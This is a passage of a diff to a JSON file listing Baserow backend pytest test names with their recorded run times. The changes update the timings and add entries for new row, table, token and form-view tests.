0.19557158404495567, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_insert_row": 0.34206258301855996, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_insert_row_validation": 0.23294358400744386, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_update": 0.23900383498403244, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_update_row": 0.3655781239795033, + "tests/baserow/contrib/database/api/fields/test_multiple_collaborators_views.py::test_multiple_collaborators_field_type_update_row_validation": 0.24996424998971634, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_add_multiple_select_field_with_default_sets_existing_rows": 0.1687361670192331, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_create_rows_multiple_select_field": 0.1673090829863213, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_create_rows_multiple_select_field_with_invalid_string_as_value": 0.14425904097151943, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_create_rows_multiple_select_field_with_string_as_value": 0.17386420798720792, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field": 0.16952170900185592, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field_maintain_relationships": 0.18814545799978077, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field_null_as_id": 0.14976704199216329, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_multiple_select_field_wrong_option": 0.14594137499807402, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_batch_update_rows_when_single_select_formula_in_an_error_state": 0.1793646249861922, + "tests/baserow/contrib/database/api/fields/test_multiple_select_views.py::test_multiple_select_field_with_default_value": 0.8930841250403319, + "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_add_single_select_field_with_default_sets_existing_rows": 0.18197341600898653, + "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_batch_create_rows_single_select_field": 0.1671583329734858, + "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_batch_update_rows_single_select_field_wrong_option": 0.1446665010007564, + "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_cannot_pass_internal_force_create_option": 0.16511170798912644, + "tests/baserow/contrib/database/api/fields/test_single_select_views.py::test_single_select_field_with_default_value": 0.8004209579667076, + "tests/baserow/contrib/database/api/fields/test_url_field_views.py::test_get_rows_with_lookup_url": 0.3223425420583226, "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows": 0.17596387400044478, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_batch_size_limit": 0.15346858399971097, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_dependent_fields": 0.18029012399983912, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_dependent_fields_lookup": 0.28889662500023405, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_different_fields_provided": 0.1723141239999677, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_field_validation": 0.15339295799913089, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_id_field_ignored": 0.1685457920002591, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_invalid_table_id": 0.1424973740004134, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_invalid_token[JWT invalid]": 0.015900248999969335, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_invalid_token[Token invalid]": 0.014503541000522091, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_no_rows_provided": 0.14788795899949037, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_num_of_queries": 0.678853708999668, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_ordering_before_row": 0.16659354100011114, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_ordering_last_rows": 0.16221383300035086, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_readonly_fields": 0.15460849999999482, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_token_no_create_permission": 0.15418787500038889, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_user_field_names": 0.17028837599900726, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows[False]": 0.236631166015286, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows[True]": 0.21587625000393018, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_batch_size_limit": 0.12662454199744388, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_deadlock": 0.8939719170157332, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_dependent_fields": 0.1698472920106724, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_dependent_fields_lookup": 0.4732412919693161, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_different_fields_provided": 0.1709163330087904, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_field_validation": 0.1297895420284476, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_id_field_ignored": 0.16540608400828205, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_invalid_table_id": 0.09402050098287873, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_invalid_token[JWT invalid]": 0.045981376024428755, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_invalid_token[Token invalid]": 0.042694000963820145, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_no_rows_provided": 0.11724970903014764, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_num_of_queries": 0.65213999999105, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_ordering_before_row": 0.15180854199570604, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_ordering_last_rows": 0.15343575100996532, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_readonly_fields": 0.1359597079863306, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_single_select_default": 0.1811531669809483, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_token_no_create_permission": 0.13955787400482222, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_user_field_names": 0.17671429098118097, "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_user_not_in_group": 0.07072156800131779, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_user_not_in_workspace": 0.14925633399980143, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_dependent_fields_diff_table": 0.26453200000014476, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_invalid_table_id": 0.14373624900053983, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_invalid_token[JWT invalid]": 0.018280291999872134, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_invalid_token[Token invalid]": 0.016688166000676574, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_num_of_queries": 0.6354888340010802, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_token_no_delete_permission": 0.1607394579996253, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_trash_them": 0.1599201670005641, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_user_not_in_workspace": 0.11959420898347162, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_with_disabled_webhook_events": 0.399340291012777, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_create_rows_with_read_only_field": 0.12881791597465053, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_deadlock": 0.4086718739999924, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_dependent_fields_diff_table": 0.44686595900566317, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_disabled_webhook_events": 0.3623384579841513, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_invalid_table_id": 0.0951630000199657, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_invalid_token[JWT invalid]": 0.04205004300456494, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_invalid_token[Token invalid]": 0.04053783300332725, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_num_of_queries": 0.7499255839793477, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_token_no_delete_permission": 0.12917616602499038, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_trash_them": 0.14514862495707348, "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_user_not_in_group": 0.07031470099900616, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_user_not_in_workspace": 0.1532655410010193, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_delete_rows_user_not_in_workspace": 0.12193516601109877, "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows": 0.17370004300028086, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_batch_size_limit": 0.14821170999857713, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_dependent_fields": 0.1778057080009603, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_dependent_fields_diff_table": 0.27617770800134167, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_different_fields_provided": 0.1740104579994295, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_different_manytomany_provided": 0.3119528329998502, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_field_validation": 0.1518807080001352, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_invalid_table_id": 0.14227975100038748, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_invalid_token[JWT invalid]": 0.016354000000319502, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_invalid_token[Token invalid]": 0.015862083999309107, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_last_modified_field": 0.19123454199961998, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_missing_row_ids": 0.1496631250001883, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_no_payload": 0.1451429590006228, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_nonexistent_row_ids": 0.1532558330000029, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows[False]": 0.17076841698144563, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows[True]": 0.17484400002285838, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_batch_size_limit": 0.12172508300864138, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_deadlock": 0.7203676239878405, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_dependent_fields": 0.16727362599340267, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_dependent_fields_diff_table": 0.7051107500155922, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_different_fields_provided": 0.17737758500152268, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_different_manytomany_provided": 0.5197104579710867, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_field_validation": 0.13104820798616856, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_invalid_table_id": 0.0947517080057878, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_invalid_token[JWT invalid]": 0.043661333969794214, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_invalid_token[Token invalid]": 0.04236912398482673, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_last_modified_field": 0.2022263329999987, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_missing_row_ids": 0.12864487498882227, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_no_payload": 0.12025012503727339, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_nonexistent_row_ids": 0.1235593739838805, "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_notexisting_row_ids": 0.0752958370030683, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_num_of_queries": 0.7027467079997223, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_readonly_fields": 0.15643883400025516, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_repeated_row_ids": 0.150130624000667, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_token_no_update_permission": 0.1543975419999697, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_user_field_names": 0.1739200410002013, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_num_of_queries": 0.6871771669830196, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_readonly_fields": 0.13848291797330603, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_repeated_row_ids": 0.11029637404135428, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_token_no_update_permission": 0.13549637602409348, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_user_field_names": 0.17460841697175056, "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_user_not_in_group": 0.07227109100495, - "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_user_not_in_workspace": 0.1494346260005841, - "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_example_row_serializer_class": 0.009019667000757181, - "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_row_serializer_with_user_field_names": 3.3839937929997177, - "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_table_serializer": 0.041075582999837934, - "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_remap_serialized_row_to_user_field_names": 0.21253633400010585, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_empty_row_for_interesting_fields": 3.8038061679999373, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_row": 0.32401812500029337, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_row_with_blank_decimal_field": 0.1684772079997856, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_user_not_in_workspace": 0.127436291979393, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_with_different_fields[False]": 0.17015437496593222, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_with_different_fields[True]": 0.1746615009906236, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_with_disabled_webhook_events": 0.4195044169900939, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_batch_update_rows_with_read_only_field": 0.13404533301945776, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_cannot_batch_create_rows_with_data_sync": 0.12169520801398903, + "tests/baserow/contrib/database/api/rows/test_batch_rows_views.py::test_cannot_batch_delete_rows_with_data_sync": 0.13238408401957713, + "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_example_row_serializer_class": 0.018514709023293108, + "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_row_serializer_with_user_field_names": 4.2269403749960475, + "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_table_serializer": 0.09513237499049865, + "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_table_serializer_number_formatting": 0.05936729101813398, + "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_get_table_serializer_single_select_default": 0.1554418340092525, + "tests/baserow/contrib/database/api/rows/test_row_serializers.py::test_remap_serialized_row_to_user_field_names": 0.26447800002642907, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_cannot_create_row_with_data_sync": 0.1266745409811847, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_cannot_delete_row_by_id_with_data_sync": 0.13027541601331905, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_empty_row_for_interesting_fields": 5.778761916008079, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_row": 0.6519008750328794, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_row_deadlock": 0.52038016699953, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_row_with_blank_decimal_field": 0.1551525009854231, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_row_with_disabled_webhook_events": 0.3622803339967504, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_create_row_with_read_only_field": 0.14136541599873453, "tests/baserow/contrib/database/api/rows/test_row_views.py::test_delete_row": 0.17443420700146817, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_delete_row_by_id": 0.25305533399932756, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row": 0.2818697920010891, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent": 0.1750443759992777, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_search[compat]": 0.17267008300132147, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_search[full-text-with-count]": 0.17195966700001009, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_view_id_no_adjacent_row": 0.19864850000067236, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_view_id_provided": 0.1770413340000232, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_view_invalid_requests": 0.3193796650011791, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_endpoint_handle_errors_correctly": 0.33032408300005045, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_endpoint_is_paginated": 0.341274792999684, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_for_different_fields": 0.9003572929996153, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_for_different_rows": 0.2636854170004881, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_names": 0.23661845799961156, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows": 0.3601022920001924, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_adhoc_filtering_query_param_null_character": 0.1686435839992555, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_filter_filters_query_param": 0.1654773340014799, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_filter_filters_query_param_with_user_field_names": 0.16500341699884302, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_filter_stacks_with_existing_filter": 0.1744606250003926, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_returns_https_next_url": 0.2204494990010062, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_sort_query_overrides_existing_sort": 0.17410654200102726, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_user_field_names": 0.2248216260004483, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_with_attribute_names": 0.33841579199997796, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_move_row": 0.28829537499950675, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_undo_redo_create_new_entries_in_row_history": 0.5059078759995828, - "tests/baserow/contrib/database/api/rows/test_row_views.py::test_update_row": 0.3282163750000109, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_async_duplicate_interesting_table": 6.063394044999768, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_delete_row_by_id": 0.29994795902166516, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_delete_row_by_id_with_disabled_webhook_events": 0.35505787504371256, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_delete_row_deadlock": 0.4980165010201745, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row": 0.2360100420191884, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent": 0.16525941700092517, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_search[compat]": 0.40314116698573343, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_search[full-text-with-count]": 0.395851750014117, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_view_id_no_adjacent_row": 0.1444709170027636, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_view_id_provided": 0.164146500028437, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_get_row_adjacent_view_invalid_requests": 0.24653237499296665, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_link_row_field_validate_input_data_for_read_only_primary_fields[autonumber_field_factory]": 0.3522397080087103, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_link_row_field_validate_input_data_for_read_only_primary_fields[number_formula_field_factory]": 0.2674772079917602, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_link_row_field_validate_input_data_for_read_only_primary_fields[uuid_field_factory]": 0.31590483302716166, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_endpoint_handle_errors_correctly": 0.27142720797564834, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_endpoint_is_paginated": 0.36352183198323473, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_for_different_fields": 0.7204331250104588, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_history_for_different_rows": 0.2752838750020601, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_row_names": 0.21477862301981077, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows": 0.6202217490063049, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_adhoc_filtering_query_param_null_character": 0.15865391699480824, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_can_combine_view_id_with_include_exclude[query_params0]": 0.1816492920042947, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_can_combine_view_id_with_include_exclude[query_params1]": 0.17893625097349286, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_filter_filters_query_param": 0.14062154197017662, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_filter_filters_query_param_with_user_field_names": 0.14198862499324605, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_filter_stacks_with_existing_filter": 0.1701087500259746, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup[False]": 4.694067584001459, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup[True]": 4.326737790979678, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_field_doesnt_exist": 0.15728925101575442, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_field_doesnt_exist_user_field_names": 0.152920541993808, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_field_multiple_lookups_user_field_names": 0.2869951249740552, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_field_to_same_table": 0.22399166697869077, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_field_with_include_exclude_fields": 0.19125862602959387, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_incompatible_field": 0.16917366703273728, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_multiple_link_row_fields": 0.26078062498709187, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_multiple_lookups_same_queries": 0.26279337401501834, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_repeated_link_row_param": 0.17590720701264217, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_join_lookup_repeated_lookup_param": 0.1612761669966858, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_order_by_type": 0.196236832998693, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_returns_https_next_url": 0.2129811679769773, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_sort_query_overrides_existing_sort": 0.15298800001619384, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_user_field_names": 0.19876920801470987, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_list_rows_with_attribute_names": 0.4981941239966545, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_move_row": 0.3036274579935707, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_move_row_deadlock": 0.4676404580241069, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_move_row_with_disabled_webhook_events": 0.35479220701381564, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_undo_redo_create_new_entries_in_row_history": 0.30462045897729695, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_update_row": 0.4872117070190143, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_update_row_deadlock": 0.5513115829962771, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_update_row_with_disabled_webhook_events": 0.37540679101948626, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_update_row_with_read_only_field": 0.1438525420089718, + "tests/baserow/contrib/database/api/rows/test_row_views.py::test_update_single_field_does_not_affect_others": 6.075616416026605, + "tests/baserow/contrib/database/api/tables/test_table_views.py::test_async_duplicate_interesting_table": 18.946852374996524, "tests/baserow/contrib/database/api/tables/test_table_views.py::test_async_duplicate_table": 4.80284001399923, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_create_table": 0.2667711240010249, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_create_table_with_data": 0.3324994170006903, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_create_table_with_data_sync": 0.49676062599883153, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_delete_table": 0.1747796659992673, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_delete_table_still_if_locked_for_key_share": 0.34811037500094244, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_get_database_application_with_tables": 0.16288250100024015, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_get_table": 0.1679965829998764, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_tables": 0.18168629100000544, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_list_tables_doesnt_do_n_queries_per_tables": 0.17336758399960672, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_order_tables": 0.18418012500023906, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_update_table": 0.17039104100058466, - "tests/baserow/contrib/database/api/tables/test_table_views.py::test_update_table_works_if_locked_for_key_share": 0.34322812400023395, - "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_check_token": 0.15019837500040012, - "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_create_token": 0.16318887499983248, - "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_delete_token": 0.2929384590006521, - "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_get_token": 0.2992827509988274, - "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_list_tokens": 0.15139658299995062, - "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_trashing_table_hides_restores_tokens": 0.2010221669997918, - "tests/baserow/contrib/database/api/tokens/test_token_views.py::test_update_token": 0.34584437499961496, - "tests/baserow/contrib/database/api/views/form/test_form_view_actions.py::test_can_undo_update_view_receive_notification_on_submit": 0.18756637499973294, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_changing_password_of_a_public_password_protected_form_view_invalidate_previous_tokens": 0.5587794599996414, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_create_form_view": 0.47120779099986976, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_form_view_link_row_lookup_view": 0.4137012920000416, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_form_view_link_row_lookup_view_with_link_row_limit_selection_view": 0.1977428759992108, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_form_view_multiple_collaborators_field_options": 0.16316287599966017, - "tests/baserow/contrib/database/api/views/form/test_form_view_views.py::test_get_form_view_field_options": 